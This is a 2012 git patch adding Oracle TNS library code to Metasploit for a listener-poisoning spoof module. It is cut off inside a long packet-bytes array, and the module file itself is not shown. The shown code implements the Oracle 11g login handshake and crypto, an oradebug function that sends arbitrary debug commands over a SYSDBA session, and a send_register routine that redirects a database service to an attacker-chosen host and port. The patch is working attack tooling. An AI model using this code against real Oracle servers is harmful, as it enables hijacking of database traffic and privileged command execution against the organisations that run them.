From 1203496611848f628f348f276b371c3bde2b1fd0 Mon Sep 17 00:00:00 2001 From: corleone Date: Wed, 24 Oct 2012 20:52:38 +0200 Subject: [PATCH 1/8] Added the module and the related mixins to metasploit. --- lib/msf/core/exploit/mixins.rb | 3 + lib/msf/core/exploit/oracletns.rb | 532 ++++++++ lib/msf/core/exploit/oracrypto.rb | 78 ++ lib/msf/core/exploit/tnslongpackets.rb | 1458 ++++++++++++++++++++++ modules/auxiliary/spoof/tns/tnspoison.rb | 53 + 5 files changed, 2124 insertions(+) create mode 100644 lib/msf/core/exploit/oracletns.rb create mode 100644 lib/msf/core/exploit/oracrypto.rb create mode 100644 lib/msf/core/exploit/tnslongpackets.rb create mode 100644 modules/auxiliary/spoof/tns/tnspoison.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 76cfac86e4..d65f71f7eb 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -78,6 +78,9 @@ require 'msf/core/exploit/riff' # Oracle require 'msf/core/exploit/oracle' +require 'msf/core/exploit/tnslongpackets' +require 'msf/core/exploit/oracrypto' +require 'msf/core/exploit/oracletns' # tekniqz require 'msf/core/exploit/fmtstr' diff --git a/lib/msf/core/exploit/oracletns.rb b/lib/msf/core/exploit/oracletns.rb new file mode 100644 index 0000000000..29b2bb32cd --- /dev/null +++ b/lib/msf/core/exploit/oracletns.rb @@ -0,0 +1,532 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf +module Exploit::OracleTNS + #Just make th code more readable. All of the longpackets are defined in this mixin. + include Msf::Exploit::Tnslongpackets + #Maybe it's more reusable as a mixin, contains the crypt functions for the authentication + include Msf::Exploit::Oracrypto + #Use the rex sockets + include Exploit::Remote::Tcp + + def initialize(info={}) + super + + register_options( + [ + OptString.new('RHOST', [ true, 'The Oracle host.', '']), + OptString.new('RPORT', [ true, 'The TNS port.', '1521']), + OptString.new('SID', [ true, 'The sid to authenticate with.', 'ORCL']), + OptString.new('DBUSER', [ true, 'The username to authenticate with. It should be SYSDBA for oradebug.', 'SYS']), + OptString.new('DBPASS', [ true, 'The password to authenticate with.', 'changeme']), + ], Msf::Exploit::OracleTNS + ) + + #Will be used in version exchange with the server + @client_ver="Linuxi386/Linux-2.0.34-8.1.0" + #Will be filled + @server_ver="" + #Long server version + @long_server_ver="" + #Salt of the user password, received from the server + @auth_vfr_data="" + #Client auth sesskey. Used in the AUTH_PASSWORD creation. + @decr_auth_sesskey_client="\x22"*40 + #The current seq number that the client sends to the server + @seqid=6 + end + + + def create_socket() + connect + end + + # + #This used for the tnspoison attack. There is no resend from the server thus we implemented + #as a new function. Better structuring can be used here. + # + def tns_command(connect_data) + #From this point we need all of the parameters + @host=datastore['RHOST'] + @port=datastore['RPORT'] + @sid=datastore['SID'] + @username=datastore['DBUSER'] + @password=datastore['DBPASS'] + packet=[58+connect_data.length].pack('n') + #checksum + packet << "\x00\x00" + #connect packet + packet << "\x01" + #reserved byte + packet << "\x00" + #header checksum + packet << "\x00\x00" + #version (11g client) + packet << "\x01\x3a" + #compatible + packet << "\x01\x2c" + #don't care too much + packet << "\x0c\x41\x20\x00\xff\xff\x7f\x08\x00\x00\x01\x00" + #Connect data length + packet << [connect_data.length].pack('n') + #Connect data offset 58 + packet << "\x00\x3a" + #don't care too much + packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + packet << connect_data + create_socket() + @sock.print(packet) + rdata=receive_timeout(5) + if rdata=="" + print_error("Connect packet timeout! We did not receive reply from the server in 5s!\n") + print_line(Rex::Text.to_hex_dump(rdata)+"\n") + return false + end + #accept? + if "\x02"!=rdata[4,1] + print_error("We expected accept packet, but we received the following:\n") + print_line(Rex::Text.to_hex_dump(rdata)+"\n") + return false + end + return true + end + + def tnsconnect() + @host=datastore['RHOST'] + @port=datastore['RPORT'] + @sid=datastore['SID'] + @username=datastore['DBUSER'] + @password=datastore['DBPASS'] + connect_data='(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=' + connect_data << @sid + connect_data << ')(CID=(PROGRAM=sqlplus)(HOST=test)(USER=root)))(ADDRESS=(PROTOCOL=TCP)(HOST=' + connect_data << @host + connect_data << ')(PORT=' + connect_data << @port.to_s + connect_data << ')))' + packet=[58+connect_data.length].pack('n') + #checksum + packet << "\x00\x00" + #connect packet + packet << "\x01" + #reserved byte + packet << "\x00" + #header checksum + packet << "\x00\x00" + #version (11g client) + packet << "\x01\x3a" + #compatible + packet << "\x01\x2c" + #don't care too much + packet << "\x0c\x41\x20\x00\xff\xff\x7f\x08\x00\x00\x01\x00" + #Connect data length + packet << [connect_data.length].pack('n') + #Connect data offset 58 + packet << "\x00\x3a" + #don't care too much + packet << "\x00\x00\x08\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + packet << connect_data + create_socket() + @sock.print(packet) + rdata=receive_timeout(5) + if rdata=="" + print_error("Connect packet timeout! We did not receive reply from the server in 5s!\n") + print_line(Rex::Text.to_hex_dump(rdata)+"\n") + return false + end + #resend? + if "\x0b"!=rdata[4,1] + print_error("We expected resend packet, but we received the following:\n") + print_line(Rex::Text.to_hex_dump(rdata)+"\n") + return false + end + @sock.print(packet) + rdata=receive_timeout(5) + if rdata=="" + print_error("Connect packet timeout! We did not receive reply from the server in 5s!\n") + print_line(Rex::Text.to_hex_dump(rdata)+"\n") + return flase + end + #accept? + if "\x02"!=rdata[4,1] + print_error("We expected accept packet, but we received the following:\n") + print_line(Rex::Text.to_hex_dump(rdata)+"\n") + return false + end + return true + end + + # + #Usually you need time when communication with the database. + #It handles the TDS packet format. + # + def receive_timeout(timeout) + header=@sock.get_once(8,timeout) + len=header[0,2].unpack("n")[0] + resp = header + len-=8 + while(len > 0) + data = sock.get_once(len, timeout) + return "" if not data + resp << data + len -= data.length + end + + resp + end + + def sns() + #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + packet = "\x00\xa1\x00\x00\x06\x00\x00\x00\x00\x00" + + #I'm not interested now just send the packet out + packet << "\xde\xad\xbe\xef\x00\x97\x00\x00\x00\x00" + packet << "\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00" + packet << "\x08\x00\x01\x00\x00\x11\x95\xee\x1b\xb8\x87\x00\x12\x00\x01\xde\xad\xbe\xef\x00" + packet << "\x03\x00\x00\x00\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" + packet << "\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00\x02\x00\x03\xe0\xe1\x00\x02\x00\x06\xfc" + packet << "\xff\x00\x02\x00\x03\x00\x00\x00\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00\x0c\x00" + packet << "\x01\x00\x11\x06\x10\x0c\x0f\x0a\x0b\x08\x02\x01\x03\x00\x01\x00\x02\x01\x00\x03" + packet << "\x00\x02\x00\x00\x00\x00\x00\x04\x00\x05\x0b\x20\x03\x00\x00\x03\x00\x01\x00\x03\x01" + @sock.print(packet) + rdata=receive_timeout(5) + #we check for the deadbeef. We receive this in the case of 11gr2 64bit linux + if rdata[10,4] != "\xde\xad\xbe\xef" + print_error("We received twrong answer to the SNS packet!\n") + print_line(Rex::Text.to_hex_dump(rdata[10,4])) + return false + end + return true + end + + def version_exchange() + #packet length + packet=[19+@client_ver.length].pack('n') + #Usual stuff packet checksum+type+reserved byte+header checksum + packet << "\x00\x00\x06\x00\x00\x00\x00\x00" + #Supported protocol versions (it has some version info) + packet << "\x01\x06\x05\x04\x03\x02" + #String length + packet << [@client_ver.length].pack('n') + packet << @client_ver + packet << "\x00" + @sock.print(packet) + rdata=receive_timeout(5) + i=13 + while rdata[i,1] != "\x00" and i < 40 do + @server_ver << rdata[i] + i+=1 + end + if @server_ver.include?("NT64") || @server_ver.include?("x86_64/Linux") + print_status("The server version is: %s\n" % @server_ver) + return true + else + print_error("Unsupported server version: %s" % @server_ver) + return false + end + + + end + + def typereps() + if @server_ver =~ /WIN_NT/ + packet=self.typerep_client_lin2win + else + packet=self.typerep_client + end + @sock.print(packet) + rdata=receive_timeout(5) + if rdata.length > 1000 + print_status("Typereps received. We received %d bytes.\n" % rdata.length) + return true + else + print_error("Too small typerep package, something went wrong!\n") + print_line(Rex::Text.to_hex_dump(rdata)) + return false + end + end + + def username(auth_terminal="pts/2", program_nm="sqlplus", auth_machine="127.0.0.1", auth_pid="1234", auth_sid="1234") + #Not important for now, needs analysis later + if @server_ver =~ /WIN_NT/ + packet_body="\x03\x76\x02\x01\x03\x00\x00\x00\x21\x00\x00\x00\x01\x05\x00\x00\x00\x01\x01" + else + packet_body = "\x03\x76\x02\x01\x03\x00" + packet_body << "\x00\x00\x21\x00\x00\x00\x01\x05\x00\x00\x00\x01\x01" + end + + packet_body << [@username.length].pack('C') + packet_body << @username + packet_body << gen_field("AUTH_TERMINAL", auth_terminal) + packet_body << gen_field("AUTH_PROGRAM_NM", program_nm) + packet_body << gen_field("AUTH_MACHINE", auth_machine) + packet_body << gen_field("AUTH_PID", auth_pid) + packet_body << gen_field("AUTH_SID", auth_sid) + + #packet length + packet_head = [10+packet_body.length].pack('n') + #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" + packet = packet_head+packet_body + @sock.print(packet) + rdata=receive_timeout(5) + + if !(rdata=~ /AUTH_SESSKEY/) + print_error("We expected AUTH_SESSKEY, but we received the following:\n") + print_line(Rex::Text.to_hex_dump(rdata)) + return false + end + + index=rdata.index("AUTH_SESSKEY") + @auth_sesskey_server_len=rdata.slice(index+12, 2).unpack('v')[0] + marker=rdata.slice(index+17,1) + #With linux 64 bit the authesesskey is separated by a space and the first part is 0x40 long + if marker=="@" + @auth_sesskey_server=rdata.slice(index+18, 64) + @auth_sesskey_server=@auth_sesskey_server+rdata.slice(index+18+64+1, @auth_sesskey_server_len-64) + else + @auth_sesskey_server=rdata.slice(index+17, @auth_sesskey_server_len) + end + + index=rdata.index("AUTH_VFR_DATA") + @auth_vfr_data_len=rdata.slice(index+13,2).unpack('v')[0] + @auth_vfr_data=rdata.slice(index+18,@auth_vfr_data_len) + return true + end + + def gen_field(fieldname, fieldcontent, term=0) + field=[fieldname.length].pack('v')+"\x00"+[fieldname.length].pack('n') + field << fieldname + if term==0 + field << [fieldcontent.length].pack('v')+"\x00"+[fieldcontent.length].pack('n') + else + field << [fieldcontent.length+1].pack('v')+"\x00"+[fieldcontent.length+1].pack('n') + end + field << fieldcontent + #separator + if term==0 + field << "\x00\x00\x00\x00" + else + field << "\x00\x01\x00\x00\x00" + end + return field + end + + def authpassword() + + #Crypto of the Oracle authentication 11g + salt= [@auth_vfr_data.downcase].pack('H*') + @password_hash=create11g_hash(@password, salt) + + @decr_auth_sesskey_server=decrypt_sesskey([@auth_sesskey_server].pack('H*'), @password_hash, @auth_sesskey_server_len) + @combined_sesskey=combine_sesskeys(@decr_auth_sesskey_server, @decr_auth_sesskey_client) + @auth_sesskey_client=encrypt_sesskey(@decr_auth_sesskey_client, @password_hash, @auth_sesskey_server_len) + @auth_password=encrypt_password("\x00"*16 + @password, @combined_sesskey) + + hex_auth_sesskey=@auth_sesskey_client.unpack("H*")[0].upcase + + #Not important for now + if @server_ver =~ /WIN_NT/ + packet_body = "\x03\x73\x03\x01" + packet_body << [@username.length].pack('C') + packet_body << "\x00\x00\x00\x21\x01\x00\x00\x01\x12\x00\x00\x00\x01\x01" + else + packet_body = "\x03\x73\x03\x01" + packet_body << [@username.length].pack('C') + packet_body << "\x00\x00\x00\x21\x01\x00\x00\x01\x12\x00\x00" + packet_body << "\x00\x01\x01" + end + + packet_body << [@username.length].pack('C') + packet_body << @username + #The AUTH_SESSKEY generation is different + field=["AUTH_SESSKEY".length].pack('v')+"\x00"+["AUTH_SESSKEY".length].pack('n') + field << "AUTH_SESSKEY" + #It is strange but there is a space at the 0x40 position in the AUTH_SESSKEY + field << [hex_auth_sesskey.length].pack('v')+"\x00\x00"+"\xfe\x40" + #First half + field << hex_auth_sesskey[0, 0x40] + #The space + field << "\x20" + #Second half + field << hex_auth_sesskey[0x40,0x61] + #separator + field << "\x00\x01\x00\x00\x00" + packet_body << field + packet_body << gen_field("AUTH_PASSWORD", @auth_password.unpack("H*")[0].upcase) + packet_body << gen_field("AUTH_RTT","4942") + packet_body << gen_field("AUTH_CLNT_MEM","4096") + packet_body << gen_field("AUTH_TERMINAL","pts/2") + packet_body << gen_field("AUTH_PROGRAM_NM","sqlplus@bt (TNS V1-V3)") + packet_body << gen_field("AUTH_MACHINE","bt") + packet_body << gen_field("AUTH_PID","30090") + packet_body << gen_field("AUTH_SID","root") + packet_body << gen_field("SESSION_CLIENT_CHARSET","1") + packet_body << gen_field("SESSION_CLIENT_LIB_TYPE","2") + packet_body << gen_field("SESSION_CLIENT_DRIVER_NAME","SQL*PLUS ") + packet_body << gen_field("SESSION_CLIENT_VERSION","186647296") + packet_body << gen_field("SESSION_CLIENT_LOBATTR","1") + packet_body << gen_field("AUTH_ACL","4400") + packet_body << gen_field("AUTH_ALTER_SESSION","ALTER SESSION SET TIME_ZONE='+01:00'",1) + packet_body << gen_field("AUTH_LOGICAL_SESSION_ID","BA6ECD7AA07F77DFE0430101007F4ACB") + packet_body << "\x10\x00\x00\x00\x10AUTH_FAILOVER_ID"+"\x00"*8 + + #packet length + packet_head = [10+packet_body.length].pack('n') + #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" + + packet = packet_head+packet_body + @sock.print(packet) + rdata=receive_timeout(5) + #Response marker + if "\x0c"==rdata[4,1] + print_error("We received response marker! Sending the request marker\n to get the error message!") + @sock.print(request_marker()) + #Usually there are to markers! + second_marker=receive_timeout(5) + error=receive_timeout(5) + print_error("We received the following error message:\n") + print_line(Rex::Text.to_hex_dump(error)) + return false + end + index=rdata.index("AUTH_SESSION_ID") + @auth_session_id_len=rdata.slice(index+15, 2).unpack('v')[0] + @auth_session_id=rdata.slice(index+20, @auth_session_id_len) + index=rdata.index("AUTH_SERIAL_NUM") + @auth_serial_num_len=rdata.slice(index+15, 2).unpack('v')[0] + @auth_serial_num=rdata.slice(index+20, @auth_serial_num_len) + return true + end + + def request_marker() + packet="\x00\x0b\x00\x00\x0c\x00\x00\x00\x01\x00\x02" + return packet + end + + def auth() + if !tnsconnect() + print_error("Something wrong with CONNECT! Maybe you provided wrong SID?\n") + return false + end + print_status("Listener connect done!\n") + + #ok we received the accept, sent the sns + if !sns() + print_error("Something wrong around SNS!\n") + return false + end + print_status("SNS negotiation done!\n") + + if !version_exchange() + print_error("Something wrong around the versions exchange!\n") + return false + end + + if !typereps() + print_error("Something wrong around the type representation packages!\n") + return false + end + + if !username() + print_error("Something wrong around the username packet!\n") + return false + end + print_status("Username packet was sent!\n") + + if !authpassword() + print_error("Something wrong around the authpassword packet!\n") + return false + end + print_status("Authentication done!\n") + + + return true + + end + + + def get_version() + #header, it is fixed length so we do not generate + packet = "\x00\x23\x00\x00\x06\x00\x00\x00" + packet << "\x00\x00\x11\x6b\x04" + packet << [@auth_session_id.to_i].pack('L') + @auth_serial_num="12" + packet << [@auth_serial_num.to_i].pack('L') + packet << "\x01\x00\x00\x00\x03\x3b\x05\x01\xf4\x01\x00\x00\x01\x01" + @sock.print(packet) + rdata=receive_timeout(5) + if !rdata.include?("Oracle Database") + print_error("We expectes long oracle version, but we received the following:\n") + print_line(Rex::Text.to_hex_dump(rdata)) + return false + end + return true + end + + def oradebug(command) + params=command.scan(/(?:\w+)|(?:".*?")/) + numbofp=params.length + #oradebug packet + packet_body="\x03\x56" + packet_body << [@seqid].pack("L") + packet_body << "\x00\x00\x00\x00\x00\x01" + packet_body << [numbofp].pack("L") + packet_body << "\x01" + packet_body << [numbofp].pack("L") + packet_body << "\x01" + packet_body << [command.length+1].pack("L") + packet_body << "\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x01" + packet_body << "\x01\x94\x0f\x00\x00\x01\x00\x00\x00\x00" + length=0 + #It seems it is the borders of the parameters, so the space is included but + #the last parameter is not. + (numbofp-1).times do |i| + length+=params[i].length+1 + packet_body << [length].pack("L") + end + (numbofp).times do |i| + length=params[i].length + packet_body << [length].pack("C") + end + packet_body << [command.length+1].pack("C") + packet_body << command+"\x00" + packet_head = [10+packet_body.length].pack('n') + #Ususall stuff lenght+packet checksum+type+reserved byte+header checksum + packet_head << "\x00\x00\x06\x00\x00\x00\x00\x00" + packet = packet_head+packet_body + @sock.print(packet) + rdata=receive_timeout(5) + print_status("We sent the command %s\n and we recived the following:\n" % command) + print_line(Rex::Text.to_hex_dump(rdata)) + return rdata + end + + def incseqid() + @seqid=7 + end + + def send_register(sid) + #Ruby rulez! You need dup here + packet=@regpacket[sid.length-1].dup + packet.gsub!("\x00"+"ORCL12345678"[0,sid.length], "\x00"+sid) + packet.gsub!("\x00"+"orcl12345678"[0,sid.length], "\x00"+sid) + packet.gsub!("aaaassssddddfff", datastore["DHOST"].ljust(15)) + packet.gsub!("PORT=1521))\x00", "PORT=%s))\x00" % datastore["DPORT"]) + + @sock.print(packet) + rdata=receive_timeout(5) + if !rdata.include?("%sXDB" % sid) + print_error("The reply should contain the %sXDB, but we received the following:") + print_line(Rex::Text.to_hex_dump(rdata)) + return false + end + return true + end + +end +end + diff --git a/lib/msf/core/exploit/oracrypto.rb b/lib/msf/core/exploit/oracrypto.rb new file mode 100644 index 0000000000..3460c2f4f3 --- /dev/null +++ b/lib/msf/core/exploit/oracrypto.rb @@ -0,0 +1,78 @@ +require 'msf/core' +require 'openssl' +require 'rubygems' +require 'rex' +require 'digest/sha1' + +module Msf +module Exploit::Oracrypto + + def initialize(info={}) + super + register_options( + [], Msf::Exploit::Oracrypto + ) + end + + def create11g_hash(password, salt) + hash=Digest::SHA1.digest(password+salt) + return hash + end + + def decrypt_sesskey(sesskey, hash, keylen) + iv="\x00"*16 + begin + c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") + c.decrypt + #Ruby check for the right padding, but it is not necessary here + #With windows it cause "bad decrypt", so we switch it off + c.padding=0 + #c.iv=iv + c.key=hash+"\x00"*4 + d = c.update(sesskey) + d << c.final + rescue OpenSSL::Cipher::CipherError => e + "incorrect password" + rescue Exception => e + "unknown error" + end + return d + end + + def combine_sesskeys(sesskey_srv, sesskey_clnt) + combined_skey="" + csk="" + for i in 0..23 + byte = sesskey_clnt.bytes.to_a[i+16]^sesskey_srv.bytes.to_a[i+16] + csk << byte + end + md1=Digest::MD5.digest(csk[0,16]) + md2=Digest::MD5.digest(csk[16,8]) + combined_skey=md1+md2 + return combined_skey + end + + def encrypt_sesskey(sesskey, hash, keylen) + iv="\x00"*32 + c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") + c.encrypt + c.iv=iv + c.key=hash+"\x00"*4 + e = c.update(sesskey) + e << c.final + return e + end + + def encrypt_password(password, csk) + iv="\x00"*32 + c = OpenSSL::Cipher::Cipher.new("aes-192-cbc") + c.encrypt + c.iv=iv + c.key=csk + e = c.update(password) + e << c.final + return e + end + +end +end diff --git a/lib/msf/core/exploit/tnslongpackets.rb b/lib/msf/core/exploit/tnslongpackets.rb new file mode 100644 index 0000000000..819d467378 --- /dev/null +++ b/lib/msf/core/exploit/tnslongpackets.rb @@ -0,0 +1,1458 @@ +require 'msf/core' + +#Just make easier to edit the main code +module Msf +module Exploit::Tnslongpackets + + attr_accessor :typerep_client, :typerep_client_lin2win + + def initialize(info={}) + super + register_options( + [], Msf::Exploit::Tnslongpackets + ) + + @typerep_client = "\x0a\x6b\x00\x00\x06\x00\x00\x00\x00\x00\x02\xb2\x00\xb2\x00\x42" + @typerep_client << "\x27\x06\x01\x01\x01\x0f\x01\x01\x06\x01\x01\x01\x01\x01\x01\x01" + @typerep_client << "\x7f\xff\x03\x0a\x03\x03\x01\x00\x7f\x01\x7f\xff\x01\x07\x01\x01" + @typerep_client << "\x3f\x01\x04\x06\x00\x01\x07\x03\x07\x02\x01\x00\x00\x18\x00\x03" + @typerep_client << "\x80\x00\x00\x00\x3c\x3c\x3c\x80\x00\x00\x00\x00\x00\x00\x0e\xd0" + @typerep_client << "\x07\x00\x01\x00\x01\x00\x01\x00\x00\x00\x02\x00\x02\x00\x0a\x00" + @typerep_client << "\x00\x00\x08\x00\x08\x00\x01\x00\x00\x00\x0c\x00\x0c\x00\x0a\x00" + @typerep_client << "\x00\x00\x17\x00\x17\x00\x01\x00\x00\x00\x18\x00\x18\x00\x01\x00" + @typerep_client << "\x00\x00\x19\x00\x19\x00\x18\x00\x19\x00\x01\x00\x00\x00\x1a\x00" + @typerep_client << "\x1a\x00\x19\x00\x1a\x00\x01\x00\x00\x00\x1b\x00\x1b\x00\x0a\x00" + @typerep_client << "\x1b\x00\x01\x00\x00\x00\x1c\x00\x1c\x00\x16\x00\x1c\x00\x01\x00" + @typerep_client << "\x00\x00\x1d\x00\x1d\x00\x17\x00\x1d\x00\x01\x00\x00\x00\x1e\x00" + @typerep_client << "\x1e\x00\x17\x00\x1e\x00\x01\x00\x00\x00\x1f\x00\x1f\x00\x19\x00" + @typerep_client << "\x1f\x00\x01\x00\x00\x00\x20\x00\x20\x00\x0a\x00\x20\x00\x01\x00" + @typerep_client << "\x00\x00\x21\x00\x21\x00\x0a\x00\x21\x00\x01\x00\x00\x00\x0a\x00" + @typerep_client << "\x0a\x00\x01\x00\x00\x00\x0b\x00\x0b\x00\x01\x00\x00\x00\x28\x00" + @typerep_client << "\x28\x00\x01\x00\x00\x00\x29\x00\x29\x00\x01\x00\x00\x00\x75\x00" + @typerep_client << "\x75\x00\x01\x00\x00\x00\x78\x00\x78\x00\x01\x00\x00\x01\x22\x01" + @typerep_client << "\x22\x00\x01\x00\x00\x01\x23\x01\x23\x00\x01\x01\x23\x00\x01\x00" + @typerep_client << "\x00\x01\x24\x01\x24\x00\x01\x00\x00\x01\x25\x01\x25\x00\x01\x00" + @typerep_client << "\x00\x01\x26\x01\x26\x00\x01\x00\x00\x01\x2a\x01\x2a\x00\x01\x00" + @typerep_client << "\x00\x01\x2b\x01\x2b\x00\x01\x00\x00\x01\x2c\x01\x2c\x00\x01\x00" + @typerep_client << "\x00\x01\x2d\x01\x2d\x00\x01\x00\x00\x01\x2e\x01\x2e\x00\x01\x00" + @typerep_client << "\x00\x01\x2f\x01\x2f\x00\x01\x00\x00\x01\x30\x01\x30\x00\x01\x00" + @typerep_client << "\x00\x01\x31\x01\x31\x00\x01\x00\x00\x01\x32\x01\x32\x00\x01\x00" + @typerep_client << "\x00\x01\x33\x01\x33\x00\x01\x00\x00\x01\x34\x01\x34\x00\x01\x00" + @typerep_client << "\x00\x01\x35\x01\x35\x00\x01\x00\x00\x01\x36\x01\x36\x00\x01\x00" + @typerep_client << "\x00\x01\x37\x01\x37\x00\x01\x00\x00\x01\x38\x01\x38\x00\x01\x00" + @typerep_client << "\x00\x01\x39\x01\x39\x00\x01\x00\x00\x01\x3b\x01\x3b\x00\x01\x00" + @typerep_client << "\x00\x01\x3c\x01\x3c\x00\x01\x00\x00\x01\x3d\x01\x3d\x00\x01\x00" + @typerep_client << "\x00\x01\x3e\x01\x3e\x00\x01\x00\x00\x01\x3f\x01\x3f\x00\x01\x00" + @typerep_client << "\x00\x01\x40\x01\x40\x00\x01\x00\x00\x01\x41\x01\x41\x00\x01\x00" + @typerep_client << "\x00\x01\x42\x01\x42\x00\x01\x00\x00\x01\x43\x01\x43\x00\x01\x00" + @typerep_client << "\x00\x01\x47\x01\x47\x00\x01\x00\x00\x01\x48\x01\x48\x00\x01\x00" + @typerep_client << "\x00\x01\x49\x01\x49\x00\x01\x00\x00\x01\x4b\x01\x4b\x00\x01\x00" + @typerep_client << "\x00\x01\x4d\x01\x4d\x00\x01\x00\x00\x01\x4e\x01\x4e\x00\x01\x00" + @typerep_client << "\x00\x01\x4f\x01\x4f\x00\x01\x00\x00\x01\x50\x01\x50\x00\x01\x00" + @typerep_client << "\x00\x01\x51\x01\x51\x00\x01\x00\x00\x01\x52\x01\x52\x00\x01\x00" + @typerep_client << "\x00\x01\x53\x01\x53\x00\x01\x00\x00\x01\x54\x01\x54\x00\x01\x00" + @typerep_client << "\x00\x01\x55\x01\x55\x00\x01\x00\x00\x01\x56\x01\x56\x00\x01\x00" + @typerep_client << "\x00\x01\x57\x01\x57\x00\x01\x01\x57\x00\x01\x00\x00\x01\x58\x01" + @typerep_client << "\x58\x00\x01\x00\x00\x01\x59\x01\x59\x00\x01\x00\x00\x01\x5a\x01" + @typerep_client << "\x5a\x00\x01\x00\x00\x01\x5c\x01\x5c\x00\x01\x00\x00\x01\x5d\x01" + @typerep_client << "\x5d\x00\x01\x00\x00\x01\x62\x01\x62\x00\x01\x00\x00\x01\x63\x01" + @typerep_client << "\x63\x00\x01\x00\x00\x01\x67\x01\x67\x00\x01\x00\x00\x01\x6b\x01" + @typerep_client << "\x6b\x00\x01\x00\x00\x01\x7c\x01\x7c\x00\x01\x01\x42\x00\x01\x00" + @typerep_client << "\x00\x01\x7d\x01\x7d\x00\x01\x00\x00\x01\x7e\x01\x7e\x00\x01\x00" + @typerep_client << "\x00\x01\x7f\x01\x7f\x00\x01\x00\x00\x01\x80\x01\x80\x00\x01\x00" + @typerep_client << "\x00\x01\x81\x01\x81\x00\x01\x00\x00\x01\x82\x01\x82\x00\x01\x00" + @typerep_client << "\x00\x01\x83\x01\x83\x00\x01\x00\x00\x01\x84\x01\x84\x00\x01\x00" + @typerep_client << "\x00\x01\x85\x01\x85\x00\x01\x00\x00\x01\x86\x01\x86\x00\x01\x00" + @typerep_client << "\x00\x01\x87\x01\x87\x00\x01\x00\x00\x01\x89\x01\x89\x00\x01\x00" + @typerep_client << "\x00\x01\x8a\x01\x8a\x00\x01\x00\x00\x01\x8b\x01\x8b\x00\x01\x00" + @typerep_client << "\x00\x01\x8c\x01\x8c\x00\x01\x00\x00\x01\x8d\x01\x8d\x00\x01\x00" + @typerep_client << "\x00\x01\x8e\x01\x8e\x00\x01\x00\x00\x01\x8f\x01\x8f\x00\x01\x00" + @typerep_client << "\x00\x01\x90\x01\x90\x00\x01\x00\x00\x01\x91\x01\x91\x00\x01\x00" + @typerep_client << "\x00\x01\x94\x01\x94\x00\x01\x01\x25\x00\x01\x00\x00\x01\x95\x01" + @typerep_client << "\x95\x00\x01\x00\x00\x01\x96\x01\x96\x00\x01\x00\x00\x01\x97\x01" + @typerep_client << "\x97\x00\x01\x00\x00\x01\x9d\x01\x9d\x00\x01\x00\x00\x01\x9e\x01" + @typerep_client << "\x9e\x00\x01\x00\x00\x01\x9f\x01\x9f\x00\x01\x00\x00\x01\xa0\x01" + @typerep_client << "\xa0\x00\x01\x00\x00\x01\xa1\x01\xa1\x00\x01\x00\x00\x01\xa2\x01" + @typerep_client << "\xa2\x00\x01\x00\x00\x01\xa3\x01\xa3\x00\x01\x00\x00\x01\xa4\x01" + @typerep_client << "\xa4\x00\x01\x00\x00\x01\xa5\x01\xa5\x00\x01\x00\x00\x01\xa6\x01" + @typerep_client << "\xa6\x00\x01\x00\x00\x01\xa7\x01\xa7\x00\x01\x00\x00\x01\xa8\x01" + @typerep_client << "\xa8\x00\x01\x00\x00\x01\xa9\x01\xa9\x00\x01\x00\x00\x01\xaa\x01" + @typerep_client << "\xaa\x00\x01\x00\x00\x01\xab\x01\xab\x00\x01\x00\x00\x01\xad\x01" + @typerep_client << "\xad\x00\x01\x00\x00\x01\xae\x01\xae\x00\x01\x00\x00\x01\xaf\x01" + @typerep_client << "\xaf\x00\x01\x00\x00\x01\xb0\x01\xb0\x00\x01\x00\x00\x01\xb1\x01" + @typerep_client << "\xb1\x00\x01\x00\x00\x01\xc1\x01\xc1\x00\x01\x00\x00\x01\xc2\x01" + @typerep_client << "\xc2\x00\x01\x01\x25\x00\x01\x00\x00\x01\xc6\x01\xc6\x00\x01\x00" + @typerep_client << "\x00\x01\xc7\x01\xc7\x00\x01\x00\x00\x01\xc8\x01\xc8\x00\x01\x00" + @typerep_client << "\x00\x01\xc9\x01\xc9\x00\x01\x00\x00\x01\xca\x01\xca\x00\x01\x01" + @typerep_client << "\x9f\x00\x01\x00\x00\x01\xcb\x01\xcb\x00\x01\x01\xa0\x00\x01\x00" + @typerep_client << "\x00\x01\xcc\x01\xcc\x00\x01\x01\xa2\x00\x01\x00\x00\x01\xcd\x01" + @typerep_client << "\xcd\x00\x01\x01\xa3\x00\x01\x00\x00\x01\xce\x01\xce\x00\x01\x01" + @typerep_client << "\xb1\x00\x01\x00\x00\x01\xcf\x01\xcf\x00\x01\x01\x22\x00\x01\x00" + @typerep_client << "\x00\x01\xd2\x01\xd2\x00\x01\x00\x00\x01\xd3\x01\xd3\x00\x01\x01" + @typerep_client << "\xab\x00\x01\x00\x00\x01\xd4\x01\xd4\x00\x01\x00\x00\x01\xd5\x01" + @typerep_client << "\xd5\x00\x01\x00\x00\x01\xd6\x01\xd6\x00\x01\x00\x00\x01\xd7\x01" + @typerep_client << "\xd7\x00\x01\x00\x00\x01\xd8\x01\xd8\x00\x01\x00\x00\x01\xd9\x01" + @typerep_client << "\xd9\x00\x01\x00\x00\x01\xda\x01\xda\x00\x01\x00\x00\x01\xdb\x01" + @typerep_client << "\xdb\x00\x01\x00\x00\x01\xdc\x01\xdc\x00\x01\x00\x00\x01\xdd\x01" + @typerep_client << 